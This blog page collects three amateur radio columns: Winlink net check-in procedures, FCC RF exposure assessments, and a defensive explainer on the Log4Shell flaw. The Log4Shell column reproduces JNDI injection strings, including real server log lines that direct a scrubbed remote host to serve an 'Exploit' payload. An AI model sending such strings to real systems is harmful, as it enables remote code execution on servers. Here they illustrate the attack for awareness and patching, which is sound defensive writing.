All posts by Jeffrey Kopcak

Ohio Section Journal – The Technical Coordinator – February 2022 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

Hey gang,

Ever heard of Winlink Wednesday? Many who operate digital or operate during emergencies are familiar with Winlink because it has proven to be useful and effective. Winlink is a radio messaging system that uses amateur-band radio frequencies. Features include E-mail messages, attachments, position reporting, weather bulletins, emergency relief communications, message relay, and form submission. This system is popular when the Internet is not available. Winlink was first used recreationally by mariners, RV campers, and missionaries.

That’s the Winlink part, what does Wednesday have to do with all this? Greg Butler – KW6GB, who I met at the Vienna Wireless Society’s Winterfest just outside of Washington, D.C., coined the term. It was an honor to meet with him because his video, an introduction to Winlink, is an excellent tutorial. Winlink Wednesday is a net. It then turned into a popular day to hold many Winlink nets. After talking with Greg, he invited me to participate in their net. Greg has since retired as Net Control Station and David – KN4LQN has taken over net responsibilities.

Most of us know that a “net” is an on-the-air gathering of hams which convene on a regular schedule, specific frequency, and organized for a particular purpose. Such as relaying messages, discussing a common topic of interest, severe weather, emergencies, or simply as a regular gathering of friends for conversation. It’s also an excellent time to test radios, antennas, and equipment. Most of us have participated in a voice net on a local repeater or even on the HF bands. “Digital nets” exist to practice these same concepts except using digital communication.

Winlink nets serve the same purposes as other nets: encourage participation, encourage regular use of the Winlink system, expand operators’ skills, of course test our equipment and the RF gateway network.

I’ve participated in a few digital communication practice sessions as part of a drill. Last time most users dusted off their digital equipment was during the previous drill. When it came time to setting up, using, and operating their equipment, it was an epic failure. Practicing is essential anytime, not just for digital operations.

Greg – KW6GB (left) demonstrating Winlink
at the Vienna Wireless Society’s Winterfest

Winlink is a store-and-forward E-mail system. Conducting nets on this system must utilize a methodology that works with the technology. Everyone sending check-in E-mails during a small window of time is not realistic. Most Winlink nets provide a weekly announcement or reminder to the previous week’s check-in list. Announcements are typically sent out a few days before the net begins accepting check-ins. Announcements will lay out check-in procedures, Winlink modes, and times during which messages will be accepted. Nets may require a simple one-line of text, others a Winlink form. Some have a discussion question for comment, others have a training exercise. A list of check-ins is often returned to the group a day or so after the net concludes. Some utilize other technologies like maps to show locations of net participants.

To check-in, after opening Winlink Express, compose a new message. Do not reply to the original message. There is no need to waste bandwidth having the net announcement text as part of the check-in message. In some cases, the station receiving check-ins is not the station that sent the announcement. Recipient’s or NCS’ call goes into the TO field. It’s not necessary to include the “@winlink.org” part of the address just as it’s not required if the sender and receiver are using the same E-mail provider or domain. Subject is usually the name of the net. Many ask for a single-line check-in consisting of a combination of callsign, first name, city, county, state, and mode/band used to check-in. For example, this is my standard one-line check-in:

K8JTK, Jeff, Westlake, Cuyahoga, OH (HF Vera)

I have found steps in weekly announcements to be straightforward. Some users complain about instructions that are reused where a screenshot does not match the form. It’s often the case a form is updated but an older screenshot was used or instructions have changed slightly after screenshots were taken. Some nets get 400 to 700 check-ins per week. If a check-in requires the NCS to do additional work because the operator didn’t follow correct procedure, they’re more likely to ignore, delete, and move on. Other examples: NCS requested a single-line with comma-separated

Check-in to the Ohio Winlink Net

values and you provided a
different value
each
on separate
lines,
provided a form when one wasn’t requested, or the wrong form was used – are all reasons a check-in may not be counted. There are, of course, system issues and unexpected results. One net found sending an APRS location beacon message over Winlink resulted in the Carbon Copy addresses being ignored. It’s a learning process for all.

Winlink has may operating modes and bands: APRS, ARDOP, AREDN, PACTOR, peer-to-peer, Packet, VERA HF, VERA FM, Telnet (that should cover most of them), or some combination. Nets accept check-ins using any method that works for the operator. A few will not accept Telnet as it’s not typically used over-the-air in the ham bands. Others will not accept peer-to-peer (P2P).

P2P allows one Winlink operator to send a message directly to another station over RF without the use of Winlink infrastructure. Originating station composes the message as a “Peer-to-Peer Message” then selects the appropriate P2P operating mode to match the receiving station. Receiving stations have to let others know frequency and times when they will be available for receiving messages. An NCS may use their station or designated assistants to receive P2P messages.

I haven’t used other Winlink clients such as PAT. It seems PAT does not have the forms one would expect to find in the Winlink Express client. That makes it difficult to operate alternative Winlink clients on devices that are more compact and portable such as a Linux device or Raspberry Pi. A way to get around this, have someone using Winlink Express send an example form to a station using the PAT client. The PAT station uses text editors to modify the fields by hand and return the form. Not as elegant as the interface using the browser.

I currently participate in six Winlink nets. There are probably some DX nets out there I’m unaware. Just like any open net, you do not have to be in the designated area to check-in or participate. I check into the North Texas and West Virginia Winlink nets among others. The West Virginia net receives more out-of-state check-ins than in-state. We even have Winlink nets right here in Ohio and in the Great Lakes region.

Included below is each net’s routine information from their weekly announcement. For more details, contact the NCS station or check their website/groups.io if available. To join any or all of these nets, simply check in!

To use KF5VO’s signing from the Winlink Wednesday NTX net, Happy Winlinking!

Ohio Winlink Net

From: K8EAF
Subject: OH Winlink Net Reminder

Hello Winlink Users,

This is a reminder of the OH Winlink Wednesday Net for *date*.

Just a one line with callsign, first name, city, county, state and via what mode/band (VHF, UHF, HF, SHF, TELNET, APRS, ARDEN, ARDOP, VARA, VARA FM). I'll log you in with any means of communication. Or just send a Homing Message Pigeon!

Enter my callsign in the "To" field (K8EAF). Subject field "OH Winlink Net Check-in". In the body field enter callsign, first name, city, county, state and via what mode/band. See example in my signature line below.

This is a good time to test drive the Winlink forms. Many operators like to use the Winlink Check-In form located in the General Forms tab.

All check-ins will be acknowledged, and a complete roster will be sent later in the week.

"Prior Planning Prevents Poor Performance!"

K8EAF, Ed, Cincinnati, Hamilton, OH (VHF)

Great Lakes Area Winlink Net

From: KB8RCR
Subject: Invitation to join the Great Lakes Area Winlink Net

Greetings!

I am the founder and net manager for the Great Lakes Area Winlink Net which was formed in March of 2021.

The premise of the net is to learn and be much more comfortable with Winlink and it's operation as in public service communications as well as emergency service communications can utilize Winlink. Another big part of the net is to learn a wide variety of the forms in the forms library. It is not important how you check in, but that you do check in. By that I mean, whether you get in via Telnet, or from some form of RF connection, your check in is still important to the net. The participation In using the forms are voluntary, but encouraged. If you cannot try the forms, just send a plain text message with the check in information requested below in this message.

The net meets each Wednesday and your check in will be accepted with late Tuesday night and the absolute cutoff is noon on Thursday (Eastern Time Zone) as that gives you plenty of time to check into the net.

The check in process can be a simple plain text check in, or placed in a form somewhere. Use this format for a proper check in:

CALLSIGN, FIRST NAME, CITY, COUNTY, STATE/PROVINCE, COUNTRY.

My checkin for example, would look like this: KB8RCR, RYAN, REMUS, MECOSTA, MI, USA

In the TO: section send your message to KB8RCR

In the Subject: line please put something like GLAWN Checkin (date of checkin)

A good tip for all of these Winlink nets is to use some type of word processing program or text file and just copy/paste your information. This is what I do at least.

Thanks for taking the time to read this, and to consider checking into the Great Lakes Area Winlink Net. I strongly encourage you to keep participating in your existing Winlink nets, and to consider checking in to the GLAWN  net too.

Respectfully Sent,
Ryan Lughermo, KB8RCR
Great Lakes Area Winlink Net Founder/Manager

Winlink Wednesday (Virginia)

From: KN4LQN
Subject: Winlink Wednesday Reminder (#xxx)

*** Winlink Wednesday (Episode #xxx) ***
** PRIMARY NCS - KN4LQN **

(This reminder is also on the web at https://winlinkwednesday.net/reminder.html)

Standard check-ins this week (no weather snapshots or attachments of any type, please).

WHO: All amateur radio operators
WHAT: Winlink Wednesday
WHEN: Wednesday, *date*, 0000-2359 EST (UTC: 0500 Wed - 0459 Thu)
HOW: This net will accept check-ins via Winlink only. Send a check-in via any RMS during the timeframe above, or participate in one or both of the P2P sessions below.

Please do not use a "Telnet Winlink" connection (which defeats the purpose of Winlink). The goal is to have the message leave your station via RF.

Please remember to use the correct format (check-in message on a SINGLE LINE) for check-in, as shown below, over an RF connection.

To: KN4LQN (or alternate NCS, as appropriate)
Subject: Winlink Wednesday Check-In
Message body: call sign, first name, city or town, county, state (HF or VHF, etc.)

See example in my signature line, below.

PEER-TO-PEER SESSIONS:
Morning session: 0730-0930 EST, (UTC: 1230 - 1430), ARDOP P2P, several frequencies (see chart below).
   Net Control Stations - Morning P2P Session Only
      Please check in through ONLY ONE of these stations:
   Status         Station   Dial Freq     Operator          Location
   Primary        KN4LQN    3582 kHz      David Elkins      Chesterfield County
   Alternate      KE4KEW    3565 kHz      Martin Krupinsky  Augusta County
   Alternate      KM4DC     3593 kHz      Don McCubbin      Fairfax County
      Messages sent to Alternate NCS must be addressed to the receiving station.

Evening session: 1900-2130 EST (UTC: 0000 Thu - 0230 Thu), VARA P2P, 3582 kHz (dial).
   Net Control Station - Evening P2P Session
   Status         Station   Dial Freq     Operator          Location
   Primary        KN4LQN    3582 kHz      David Elkins      Chesterfield County
      No Alternate Net Control Stations.

Watch Facebook for details when active.

On Thursday, all check-ins will be acknowledged, and a net report and complete roster will be published to the Web.

73,
KN4LQN, David, Chesterfield, VA (VHF)

Website: https://winlinkwednesday.net/

Weather snapshots are requested on the first Wednesday of the month (no attachments of any type). Standard check-ins are always welcome.

observation time, weather conditions, temperature <<<— WEATHER ON SECOND LINE of message body. A recent example of my check-in with weather snapshot:

K8JTK, Jeff, Westlake, Cuyahoga, OH (HF Vera)
0015L, overcast, winds S@15mph, 45dF

Third Wednesday of each month, an ICS-213 form can be submitted in place of the normal one-line check-in. Instructions are provided for trouble-free submission of the ICS-213 form.

Winlink Wednesday participants

Winlink Wednesday NTX (North Texas)

From: KF5VO
Subject: Winlink Wednesday NTX Reminder

It's that time once again for Winlink Wednesday!

*Discussion question of the week*


Other instructions:

Use the Winlink Check In template when checking in. As a reminder, to use the template, when the New Message screen is opened, click on the menu items Select Template --> Standard Templates --> GENERAL Forms --> Winlink Check In.txt.

Make sure in the Send To box to put my call sign, KF5VO.

In the location box, put the name of your city/town, and which gateway you're connecting through (if known).

IF YOU ARE USING SOMETHING OTHER THAN WINLINK EXPRESS TO CHECK IN:
If you are not using the forms, then whatever you type into the body of the message will be considered the "Comment" field on the form.


Happy Winlinking!


Please visit the Winlink Wednesday NTX web site for more info on how to check in to the net:
https://bit.ly/2TfJNJE

If you haven't already, please join our mailing list on Groups.IO https://groups.io/g/WinlinkWednesdayNTX

John indicated he likes to have stations use gateway nodes instead of peer-to-peer. That way a node administrator can be made aware of and resolve issues. It would be bad to find out a node was not operational for a local emergency. In the past, he has helped identify TNC issues and problems resulting from Microsoft’s Patch Tuesday and Windows Updates released the day before!

West Virginia Winlink Net (Thursdays)

From: WV8MT
Subject: WV Winlink Net Reminder

Calling All Radio Amateurs!
Calling All Radio Amateurs!

I will hold the * net number * installment of the West Virginia Winlink Net this Thursday, * date * from 00:00 to 23:59. I will take check ins all day at your convenience. Please make sure your check in follows the following format in the message body:

WV8MT, MIKE, SUGAR GROVE, PENDLETON, WV (VHF, HF, or P2P)

VARA P2P SESSION!
The VARA P2P Session will take place from 6pm and 9pm Thursday. This week we will be on 3530.5 (Center) 3529.0 (Dial) again.

Please feel free to share this announcement with your fellow Hams. If you have an email list, or a club social media page, or however you connect to your fellow Hams, share this information with them.

WV8MT NCS, MIKE, SUGAR GROVE, PENDLETON, WV

EmComm Training (Thursdays)

For a 300/400 level class in Winlink, this is your net. This group was previously named ARC-EmComm-Training. Every week is a new exercise with different instructions. Exercises range from sending APRS IS position beacons to completing Hospital Bed forms to sending E-mail folder summaries. Detailed instructions are provided each week to complete the exercise, sometimes with an accompanying video. Check the groups.io link below for the next exercise and participate to learn more than you’ve ever wanted to know about using Winlink.

Since each week is different, a common message isn’t possible. They do use “tactical clearing houses” based on FEMA region. Ohio is in FEMA region 5 so the clearing house E-mail address is ETO-05 which stands for “EmCom Training Organization,” region 5. The first is always is the letter “O” and the second is a zero “0”. More information is available on their site for clearing houses outside Ohio.

Section Managers, including our own WB8LCD, were the subject of the February 17th ETO training event. The exercise involved completing and sending your Section Manager a form providing the requested information.

Groups.io: https://emcomm-training.groups.io/g/main
Website: https://www.emcomm-training.org/

Bob Bruninga, WB4APR, became a silent key on Monday, February 7, 2022. Though I never interacted with Bob, I have used technology he developed. He was a pioneer in the development of Automatic Packet Reporting System, otherwise known as APRS. Technology he developed brought many hams into the hobby using packet radio for real time position, telemetry tracking, and reporting. He started his ham radio journey in 1963 with Novice call WN4APR. According to Amateur Radio Newsline, Bob was a US Navy veteran and a senior research engineer at the US Naval Academy’s small satellite lab in Annapolis, Maryland. He has probably contributed to many more advances than just ham radio, in ways we may never, ever, know.

A correction to my article last month: I incorrectly stated the 3.45 GHz band spectrum auction amount. It should have been $22.5 billion, not trillion.

Thanks for reading and 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – January 2022 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

Hey gang,

New FCC RF exposure requirements went into effect May 3, 2021. Have you performed your station evaluation? There is much confusion and speculation around these requirements. Clarifications are still being sought as a good number of things remain unclear. Continuing research, observing presentations, and working with others have cleared up many concepts for me, while others remain clear as mud.

Since my article last May, everything there is still applicable: every ham needs to complete an assessment, the exposure rules haven’t changed, hams are no longer categorically excluded from these calculations, nothing is submitted to the FCC. Calculations only need to be available when a station inspection is performed. Handy talkies manufactured before May 2021 are all grandfathered. All of the calculation tools found online are still valid and applicable. Use the tool or method most applicable to your situation or knowledge.

One thing that’s been expressed, I’ve heard it through the Technical Specialists, is confusion on calculations or what exactly needs to be completed. Our Technical Specialists are asked for support. Jason – N8EI presented to his club, SARA, on adhering to the FCC exposure rules. Get in touch with Jason or I can forward the request if you’re interested in having such a presentation for your group.

In my previous article, I presented an exception calculation. While still valid, it is a lot more effort than most need to complete. Take the ARRL’s RF Exposure Calculator. It is a much simpler tool to complete an assessment. Returned numbers are very conservative estimates. Meaning they err heavily on the side of safety when compared to actual measured results. The minimum safe distance to an antenna maybe calculated at 40 ft. A full assessment might determine safe distance to be 33 ft. Don’t assume ‘I’m fine’ without evidence to back it up.

Jason, in addition to his presentation, put together a simple step-by-step walk-through of the calculations. His assessment includes radio information, determining feed line loss, antenna gain, and duty cycles. Each step features a description and links to common information such as typical feed line loss for different types of coax. Available on his project site and on GitHub for learning, validating the code, fixing issues, including any new and relevant parameters, or customize for your site.

One should assume “worst-case” when using these calculators. Ever talked for 30 minutes in a single transmission on FM? Highly unusual, but none-the-less, that is worst-case. Those outliers should be factored in these calculations.

N8EI’s RF Exposure Assessment Tool

Consider an HF station:

1. Station transmits on many different frequencies. Highest frequency is the upper part of 10 meters (29.700 MHz). The radio can do, at most, 100 watts connected to a 3 dBi gain horizontal antenna (both manufacturer specs). While transmitting in the FM portion (100% duty cycle), the operator yaps for 30 minutes then listens for 10 minutes before repeating the cycle.

Pretty rough to have someone talking for 30 minutes straight in a single key-down let-alone using full power at 100% duty. Assume full output power reaches the antenna. These are not real-world, but again, fit a worst-case scenario. For controlled environment, minimum safe distance from a human to the station’s antenna is 6.5 feet, uncontrolled is 14.6 feet. If the antenna is more than 14.6 feet in the air, like on a 50 ft tower, that station’s configuration is compliant. Print the results and include them with station records. This station’s evaluation is done.

Unless right next to your house, neighbors’ deck, a sidewalk, or other public area where the antenna is within the 14.6 ft minimum safe distance to the closest human, no additional work here is needed.

2. Same configuration, changing to SSB (20%) reduces the minimum safe distance to 2.9 ft controlled and 6.5 ft uncontrolled.

Minimum safe distance numbers are reduced with a reduction in duty cycle, frequency, gain, or power.

3. Changing the frequency from example #1 to the low end of 80m, 3.5 MHz, using AM (still 100% duty cycle). Minimum safe distances are 0.8 ft controlled and 1.7 ft uncontrolled.

This is an example showing how only a realistic change in frequency reduces the minimum safe distance to the same antenna.

VHF/UHF:

4. Using a 50-watt mobile radio on 146.520 MHz, the 2m national simplex calling frequency (FM, 100% duty cycle, 30/10 talk time, 3 dBi gain) is 4.7 ft controlled and 10.5 ft uncontrolled minimum safe distances.

5. Using a 50-watt mobile radio on 446.000 MHz, the 440 national simplex calling frequency (FM, 100% duty cycle, 30/10 talk time, 3 dBi gain) is 3.8 ft controlled and 8.6 ft uncontrolled minimum safe distances.

However, there is a catch with this last one. While these numbers are good safety guidelines, absorption by the human body is not measurable above 300 MHz. Results above that don’t mean much.

Remember uncontrolled is everyone in the general public and neighbors. Controlled is for hams, their families, and those who work with RF as an occupation.

Most stations with antennas in the air are going to be fine with the results from these tools. However, if the antenna is closer to the ground, in the house, or configured for NVIS, additional work would be needed. Not sure if people maybe within acceptable distances? Use a piece of string or rope to determine this. If anyone would be within 15 ft (rounded up, from the first example) while in operation, remediation suggestions are:

  • use or calculate lower frequencies if higher frequencies are not used
  • use or calculate lower duty cycles
  • use or calculate lower power
  • observe shorter transmit times
  • perform a full station evaluation to obtain a more realistic minimum safe distance or use antenna modeling applications such as EZNEC
  • rope-off or otherwise isolate the antenna, keeping people away from the structure
  • re-position the antenna in a better configuration/move further away from the environment
  • not use it when people will be around or near the antenna
  • point the elements in a different direction from the dwelling
  • move antenna further away from vehicle passengers
ARRL RF Exposure Calculator

What’s still not entirely clear with these requirements? Gain rating on many antennas, namely verticals, has been discouraged as it is hard to prove based on the mounting and radial systems. Gain is not published for many antennas. Now needed as part of calculations, hams are between a rock and a hard-place not having that information.

Absorption calculations of HTs are fairly complicated and responsibility of the manufacturer. It is unknown, though, what needs to be completed if the radio is modified, such as using a 3rd party aftermarket antenna.

There remains some confusion if “minimum safe distance” is from the center/feed point of the antenna or any part of the antenna. Those who have previously worked with these calculations indicate it is any radiating part of the antenna structure.

The ARRL has updated their RF Exposure page with more links and resources. Ed Hare – W1RFI wrote an article for the September 2021 edition of QST. He describes how to determine exception status and how to use the ARRL’s new RF Exposure calculator. Ed is the author of the out-of-print book but available as a PDF, RF Exposure and You.

Remember, evaluations (exceptions or calculations) need to be performed by May 3, 2023. New stations or ones with significant changes (power output, antenna type, operating on a new band, operating with a new mode) all require an assessment be completed before operating.

Earlier this month, the FCC announced the winning bidders from its 5G spectrum auction of the 3.45 GHz band. The auction, which was structured to be “diverse” and have competition front of mind, was the highest grossing auction in the FCC’s history at $22.5 trillion. The entire allocation for ham radio wasn’t lost (yet) as 3.3 – 3.5 GHz was the ham radio allocation with 3.45-3.5 GHz being the subject of the auction. Even though the spectrum was used mostly by AREDN mesh, hams didn’t have much of a justification for that spectrum. We don’t stand a chance as a group of hobbyists against $22.5 trillion as part of a money grab in the name of “competition.” Use it or lose it. We kinda used it and still lost it. Please consider supporting the ARRL Spectrum Defense Fund and projects that are justifying use of our spectrum.

“Hoot” – WB8VUL

Over the holidays, we lost two hams that were close to me and very active in the amateur radio community. William G. “Hoot” Gibson – WB8VUL was a long-standing member of the Wood County Amateur Radio Club. He held many positions in the club, was always participating in actives and promoting the club. Being a BGSU grad, he was always asking me about the university and how school was going. I would ask him how they used to do things and he would talk about history, which I always found fascinating. I enjoyed his stories and advice.

Tom – W8TAB (Busch Funeral)

Thomas A. Bishop – W8TAB was in a long-time battle with cancer. In our last E-mail exchange, he was not doing well and trying to manage. Tom was an alum of Westlake High School, as am I. He was fortunate enough to be part of the ham radio club which, unfortunately, was long gone by the time I roamed the halls. We were both in broadcasting and loved technology. He always had time to chat.

Both will be greatly missed.

Thanks for reading and 73… de Jeff – K8JTK

CORRECTION since publication: I incorrectly stated the 3.45 GHz band spectrum auction amount. It should have been $22.5 billion, not trillion. An update is included in next month’s article.

Ohio Section Journal – The Technical Coordinator – December 2021 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

DSCF5081 K8JTKHey gang,

Ever hear the quote from a famous computer security professional, Bruce Schneier, stating ‘vulnerabilities only ever get worse, they never get better?’ The Information Technology industry had it about as bad as it gets this month. A vulnerability in a Java logging utility, Log4j, obtained the highest severity rating, a CVSS score of 10. CVSS is a computer industry standard for rating vulnerabilities, 0 to 10 with 10 being the most severe. Dubbed Log4Shell, this trivial attack can gain shell level access to a system, described as the “the single biggest, most critical vulnerability ever” by Ars Technica.

Most any IT applications or services have a server to handle requests. This could be any of a web server, mail server, or even a game server hosted on the Internet. These servers generate logs such that administrators can review them to validate the server is functioning correctly. Logs are heavily relied upon when users report problems. Admins use logs to recreate events of the past as part of troubleshooting. This is referred to as the “/var/log” directory in Linux systems. Anytime a request is made from a device to a server, that generates a log entry. Apache web server logs contain things such as:

  • Source/users IP address
  • Date and time
  • Get or post. Get retrieves data from the resource while post does the opposite, sends data to the resource.
  • URL requested
  • HTTP status codes. This is where the 404 “not found” meme originates.
  • Size of the data returned
  • User agent which is accessing the resource, usually a browser. May include other bits like operating system information.

A real log example from my webserver where AllStar & Allmon are running (user’s IP address is replaced with 123.456.789.000):

123.456.789.000 - - [18/Dec/2021:23:41:42 +0000] "GET /server.php?nodes=1000,50394,1202,1203,1204 HTTP/1.1" 200 187395 "https://allmon2.k8jtk.org/link.php?nodes=1000,50394,1202,1203,1204" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57"

An administrator may want to take actions based on the logs. That’s where Log4j is added to the flow. The server will send logs to Log4j. Log4j parses logs. It decides to interpret or send them off for archival purposes in the file system or to a separate logging server.

A string such as the one below is passed to a web server. Log4j will act on it including download and execute any random payload that is returned.

${jndi:ldap://log4shell.huntress.com:1389/unique-identifier}

The above string similar to a test generated by the Huntress Labs Log4j/Log4Shell vulnerability tester. This is not showing how to exploit servers, anything that’s a secret, or anything that’s not already published online. In fact, the Huntress tool is open source on GitHub. If a similar string is entered into a web application and the Huntress Labs server subsequently sees a request with that unique identifier, it can be assumed the web application tested is vulnerable. A negative test does not necessarily mean the application is not vulnerable.

There is a one-liner test that can be run from the Command Line (CLI) on a Windows or Linux system called Log4j Checker. Note, however, the checker is beta code and the maintainer is not committed to maintaining the script. There is a post looking to transfer ownership as it took too much of their time.

The Huntress Labs tester is benign but the bad guys won’t be so nice. They can craft a string having Log4j reach out to any external resource, such as BadGuyMaliciousHost[dot]com, download and execute any payload the bag guys wish, effectively pwning the server (pronounced “owning”). Not everything that’s sent back to a server will be bad but there is a very high probability it will be.

Real log entries trying to exploit Log4Shell three different ways on my server are shown below. No, my web servers are not vulnerable but that doesn’t stop individuals from trying to find out. All requests originate from the same IP attempting to have the “Exploit” payload downloaded and executed on my server from another remote server. Relevant IPs are scrubbed, client is replaced with 111.222.333.444, remote server replaced with 555.666.777.888:

111.222.333.444 - - [22/Dec/2021:17:22:09 +0000] "GET /${jndi:ldap://555.666.777.888:1389/Exploit} HTTP/1.1" 404 5200 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
111.222.333.444 - - [22/Dec/2021:17:22:11 +0000] "GET / HTTP/1.1" 200 5259 "-" "${jndi:ldap://555.666.777.888:1389/Exploit}"
111.222.333.444 - - [22/Dec/2021:17:22:16 +0000] "GET /?s=${jndi:ldap://555.666.777.888:1389/Exploit} HTTP/1.1" 200 5259 "-" "Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefox"
Trivial exploit receives a trivially drawn logo in MS Paint
(Kevin Beaumont @GossiTheDog)

Servers can be attacked using a single line of text sent through a web application form, instant message, URL, chat window, or, as some clever minded individuals surmised, the name of an iPhone triggered the exploit as well. This confirmed Apple’s servers were vulnerable to attack. The device name of an iPhone was changed to a string which triggered the exploit. When the iPhone device registered and communicated with Apple’s servers, Log4j saw the string and acted upon it. Luckily the individual composed a benign payload to have Apple’s infrastructure induce a DNS request – which is something done all the time like when browsing the Internet. If that individual saw in logs, on a server he controlled, a DNS request for the hostname originating from Apple IP addresses, it’s was then known Apple’s servers were vulnerable. If there was no DNS request, could be assumed not vulnerable or the exploit was already patched.

Once a bad guy obtains access to a vulnerable system, they can do anything the user or administrator can do. Add programs, remove programs, delete files, install services to mine cryptocurrency, create botnets, send spam, and use the server in other illegal activities such as host ransomware.

Log4j needs updated immediately to log4j-2.16.0 or later on any system running an earlier version. Make sure Java is updated while you’re at it. Though patches have been released, the industry is at the mercy of vendors to release updates. A list is actively being updated of known vulnerable applications, services, appliances, and other devices. There are A LOT. If devices are found vulnerable but no updates are available, remediation steps should be taken like shutting down, replacing, or moving to an isolated network as to not be exposed to the Internet or other devices on the Local Area Network (LAN). The Canadian government shutdown nearly 4,000 websites in response. Few actions are more drastic as shutting down government websites and services. Shutting down your services and applications should not be out of the realm of possibilities.

As the cliché goes: this was a feature, not a bug in Log4j. Users wanted parsing as part of the plugin but that feature was poorly implemented. Java is the #1 development platform and runs on billions of devices according to the website. Anything running Java is potentially vulnerable. Big named companies and applications were found to be vulnerable in addition to Apple: Amazon, Tesla, Apache web servers, video game servers, Elastic Search, Twitter and no doubt thousands more.

This is not to minimize the impact of a random server setup in a closet that’s been forgotten about. They are just as vulnerable and easily exploited. As are the random Internet of Things (IoT) companies who released cheap Java based video cameras, doorbells, door lock controllers, internet connected audio devices, network devices, or digital video recorder devices – again, to name a very new. There they sit with ports forwarded from the open Internet, very likely opening a home network to attack.

Hacking a Minecraft server with Log4Shell (Huntress)

To say gamers aren’t good for anything, this exploit was first found in the very popular game called Minecraft. Someone was looking for ways to exploit Minecraft game servers. Using a malicious string in a Minecraft chat box, they were able to “pwn” the server.

Sad part in all of this: billion-dollar companies and technologies are relying on open-source programs maintained by volunteers. These volunteers bust their butts (for free) to fix this issue so that enterprises whom rely on this technology can continue to operate. If you have a commercial enterprise, it’s imperative companies should be kicking in, providing support or substantial donations to these projects.

Same is true for a favorite ham radio implementation. Provide time in testing, talent in support or quashing bugs, or treasure in donating to the project to keep the lights on. An obvious example to me is ham radio digital hotspots. Yes, you might have purchased a board or complete kit from a vendor or someone selling devices. Individuals who wrote the underlying code (G4KLX) and package it so it works as well as it does (Pi-STAR) do not see a penny from that sale. Please be generous to the projects that not only make ham radio enjoyable or advance ham radio technology, but ones you use for free in any capacity.

To that point, I found a reference to Ham-Pi containing a vulnerable Log4j version. Exposure should be minimal only being accessible on Local Area Network (LAN). In theory, the LAN should have less attack vectors. I’m sure someone has forwarded SSH, VNC, or some other port to Ham-Pi from the Internet, opening their network and devices to external attacks. Dave is going to release an update to Ham-Pi as his time allows.

As for other projects, it’s not any different across the industry, hams will be all in on a project and let the project get stale, not receiving updates. If a project is open source, searching the code for Log4j as a dependency is a sign that application is vulnerable. If the Log4j dependency can be updated externally to the latest version and the code re-compiled, that would mitigate the exploit. However, if there are only downloadable compiled binaries available – there’s no telling if it is or is not vulnerable to exploitation.

This vulnerability checked off a lot of boxes that most overlook or try to argue are non-issues. Those being: this poorly written feature has been vulnerable to exploit since 2013. This, again, proves vulnerabilities will exist for many years before someone finds them. Most will say the app is “secure.” Nothing is entirely secure, vulnerabilities just haven’t been found and aren’t known yet. Another is vulnerabilities exist only in web browsers, to say not in operating systems or other applications. While it’s true that most are disclosed because everything uses a web browser today, more eyes are looking at browsers for exploits. This is a case where it is not the web browser but a component of the Java logging framework used on backend systems.

That’s a lot of “potentially” vulnerable devices
(Kevin Beaumont @GossiTheDog)

Services and applications need to be run with least privileged accounts, non-root and non-administrative accounts. This is my gripe about many projects that run all as root and do not take the time to understand or figure out least-privileged permissions. Vulnerabilities certainly can and do exist anywhere humans have written a line of code or run a command.

